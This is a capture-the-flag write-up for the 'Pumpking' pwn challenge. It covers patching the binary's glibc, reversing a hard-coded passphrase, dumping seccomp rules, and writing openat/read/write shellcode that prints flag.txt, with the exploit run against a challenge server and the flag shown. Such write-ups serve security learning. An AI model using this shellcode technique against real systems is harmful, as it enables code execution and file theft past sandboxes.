Pumpking
5 minutes to read
We are given a 64-bit binary called pumpking
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Environment setup
It might happen that we don’t have a version of Glibc that is accepted by the program:
$ ./pumpking
zsh: no such file or directory: ./pumpking
$ ldd pumpking
./pumpking: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./pumpking)
linux-vdso.so.1 (0x00007ffc78fd6000)
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f16439e4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f16437f2000)
./glibc/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f1643a25000)
Luckily, in Spooky Time we were provided with a library and a loader, version 2.35:
$ ../pwn_spooky_time/glibc/ld-linux-x86-64.so.2 ../pwn_spooky_time/glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
So, we can copy that directory in the current environment and use pwninit
to patch the binary and use this new Glibc version:
$ cp -r ../pwn_spooky_time/glibc .
$ pwninit --libc glibc/libc.so.6 --ld glibc/ld-linux-x86-64.so.2 --bin pumpking --no-template
bin: pumpking
libc: glibc/libc.so.6
ld: glibc/ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.1_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
Current pumpcoins: [1337]
running patchelf on pumpking_patched
Now we have another binary (pumpking_patched
), and we are able to run it properly:
$ ./pumpking_patched
First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: asdf
You seem too kind for the Pumpking to help you.. I'm sorry!
zsh: invalid system call (core dumped) ./pumpking_patched
Reverse engineering
If we open the binary in Ghidra, we will see this decompiled C source code for the main
function:
void main() {
int ret;
size_t sVar1;
long in_FS_OFFSET;
ulong local_28;
undefined8 input_data;
undefined4 local_17;
undefined2 local_13;
undefined local_11;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
setup();
input_data = 0;
local_17 = 0;
local_13 = 0;
local_11 = 0;
write(1, "\nFirst of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: ", 0x70);
read(0, &input_data, 14);
local_28 = 0;
while (true) {
sVar1 = strlen((char *) &input_data);
if (sVar1 <= local_28) break;
if (*(char *) ((long )&input_data + local_28) == '\n') {
*(undefined *) ((long) &input_data + local_28) = 0;
}
local_28 = local_28 + 1;
}
ret = strncmp((char *) &input_data, "pumpk1ngRulez", 0xd);
if (ret == 0) {
king();
} else {
write(1, "\nYou seem too kind for the Pumpking to help you.. I\'m sorry!\n\n", 0x3e);
}
/* WARNING: Subroutine does not return */
exit(0x16);
}
First, we are asked for a passphrase. We know the password because it is hard-coded in the binary (pumpk1ngRulez
):
$ ./pumpking_patched
First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: pumpk1ngRulez
[Pumpkgin]: Welcome naughty kid! This time of the year, I will make your wish come true! Wish for everything, even for tha flag!
>> asdf
zsh: illegal hardware instruction (core dumped) ./pumpking_patched
At this point, a function called king
is executed:
void king() {
long in_FS_OFFSET;
undefined8 shellcode;
undefined8 local_a0;
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined4 local_18;
undefined2 local_14;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
write(1, "\n[Pumpkgin]: Welcome naughty kid! This time of the year, I will make your wish come true! Wish for everything, even for tha flag!\n\n>> ", 0x88);
shellcode = 0;
local_a0 = 0;
local_98 = 0;
local_90 = 0;
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_14 = 0;
read(0, &shellcode, 0x95);
(*(code *) &shellcode)();
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Basically, we are allowed to send instructions that will be executed by the program. However, there are some seccomp
rules configured in setup
. We can use seccomp-tools
to find which syscall
instructions are allowed:
$ seccomp-tools dump ./pumpking_patched
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
So, we are allowed to use sys_read
, sys_write
, sys_rt_sigreturn
, sys_exit
and sys_openat
.
Exploit development
This challenge is a mix between Blacksmith and Fleet Management.
Hence, I will reuse the assembly code for sys_openat
from Fleet Management and the assembly code for sys_read
and sys_write
from Blacksmith. This is the result:
xor rdx, rdx
push rdx
mov rsi, 'flag.txt' # as hexadecimal number
push rsi
mov rsi, rsp
xor rdi, rdi
sub rdi, 100
mov rax, 0x101
syscall
mov dl, 0x64
mov rsi, rsp
xor edi, eax
xor al, al
syscall
mov al, 1
mov rdi, rax
syscall
mov al, 0x3c
syscall
For more information you can check out the other challenges.
Flag
If we run the exploit script that sends the shellcode, we will see the flag:
$ python3 solve.py 159.65.49.148:32050
[*] './pumpking_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
RUNPATH: b'./glibc'
[+] Opening connection to 159.65.49.148 on port 32050: Done
[*] Shellcode length: 0x3e
[+] HTB{n4ughty_b01z_d0_n0t_f0ll0w_s3cc0mp_rul3z}
[*] Closed connection to 159.65.49.148 port 32050
The full exploit can be found in here: solve.py
.